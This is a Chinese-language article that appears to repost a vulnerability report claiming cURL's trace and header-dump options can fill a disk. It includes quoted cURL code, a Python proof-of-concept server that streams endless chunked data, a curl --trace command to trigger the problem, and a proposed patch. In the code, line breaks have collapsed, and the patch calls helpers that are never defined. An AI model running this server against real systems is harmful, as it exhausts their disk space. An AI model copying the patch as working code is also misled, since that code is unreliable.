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cURL调试功能磁盘空间耗尽导致拒绝服务漏洞分析

news 2025/9/16 16:21:39

报告 #3250490 - 磁盘空间耗尽导致拒绝服务(DoS)

描述

当使用--trace或--trace-ascii选项处理大量数据时，tool_debug_cb函数可以向日志文件写入大量调试数据。如果攻击者能够使cURL下载或上传非常大量的数据（例如通过非常大的HTTP响应或无限制上传），此调试功能生成的日志文件可能会无限增长。这可能导致运行cURL的系统磁盘空间耗尽，进而破坏同一服务器上运行的其他服务。

如果使用--dump-header选项，该部分会将原始HTTP头数据写入heads->stream。如果heads->stream恰好与跟踪输出是同一个文件，或者是另一个具有无限增长潜力的文件，则会加剧此问题。

漏洞代码

tool_debug_cb函数中的头部文件写入

/* In tool_debug_cb */
if(per->config->headerfile && heads->stream) {size_t rc = fwrite(ptr, size, nmemb, heads->stream); // <-- 易受攻击的写入if(rc != cb)return rc;/* flush the stream to send off what we got earlier */if(fflush(heads->stream)) {errorf(per->config->global, "Failed writing headers to %s",per->config->headerfile);return CURL_WRITEFUNC_ERROR;}
}

TRACE_PLAIN部分的数据处理

/* In tool_debug_cb, in the TRACE_PLAIN section */
case CURLINFO_HEADER_OUT:if(size > 0) {size_t st = 0;size_t i;for(i = 0; i < size - 1; i++) {if(data[i] == '\n') { /* LF */if(!newl) {log_line_start(output, timebuf, idsbuf, type);}(void)fwrite(data + st, i - st + 1, 1, output); // <-- 易受攻击的写入st = i + 1;newl = FALSE;}}if(!newl)log_line_start(output, timebuf, idsbuf, type);(void)fwrite(data + st, i - st + 1, 1, output); // <-- 易受攻击的写入}newl = (size && (data[size - 1] != '\n'));traced_data = FALSE;break;

概念验证(POC)

无限数据服务器设置 [unli.py]

import http.server
import socketserver
import timePORT = 8002class MyHandler(http.server.SimpleHTTPRequestHandler):def do_GET(self):print(f"[{time.ctime()}] Received GET request from {self.client_address[0]}")self.send_response(200)self.send_header("Content-Type", "application/octet-stream")self.send_header("Transfer-Encoding", "chunked")self.end_headers()# 持续流式传输数据try:i = 0while True:chunk = f"This is chunk {i}: {'A' * 1024}\n".encode('utf-8') # 每块1KB数据self.wfile.write(f"{len(chunk):X}\r\n".encode('ascii')) # 十六进制块大小self.wfile.write(chunk)self.wfile.write(b"\r\n")self.wfile.flush()i += 1except Exception as e:print(f"[{time.ctime()}] Client disconnected or error: {e}")finally:# 结束分块编码self.wfile.write(b"0\r\n\r\n")self.wfile.flush()with socketserver.TCPServer(("", PORT), MyHandler) as httpd:print(f"serving at port {PORT}")try:httpd.serve_forever()except KeyboardInterrupt:print("\nServer shutting down.")

使用跟踪选项运行curl

curl http://localhost:8002/test.txt -o /dev/null --trace output.log

修复方案

在tool_debug_cb()中添加大小检查

int tool_debug_cb(CURL *handle, curl_infotype type,char *data, size_t size,void *userdata)
{struct OperationConfig *operation = userdata;struct GlobalConfig *global = operation->global;FILE *output = tool_stderr;// --- 开始修复 ---// 确保跟踪流已打开且设置了大小限制if (global->trace_stream && global->trace_fopened && global->max_trace_log_size > 0) {// 估算要写入的数据块大小size_t estimated_write_size = estimate_formatted_data_size(type, size, global->tracetype);// 检查当前写入是否会超过限制if (global->current_trace_log_size + estimated_write_size > global->max_trace_log_size) {// 关闭文件并禁用跟踪以防止进一步写入warnf(global, "Trace log file '%s' reached maximum size. Stopping further trace logging.",global->trace_dump);fclose(global->trace_stream);global->trace_stream = NULL;global->trace_fopened = FALSE;global->tracetype = TRACE_NONE;global->trace_dump = NULL;return 0;}}// --- 结束修复 ---// ... 其余代码 ...
}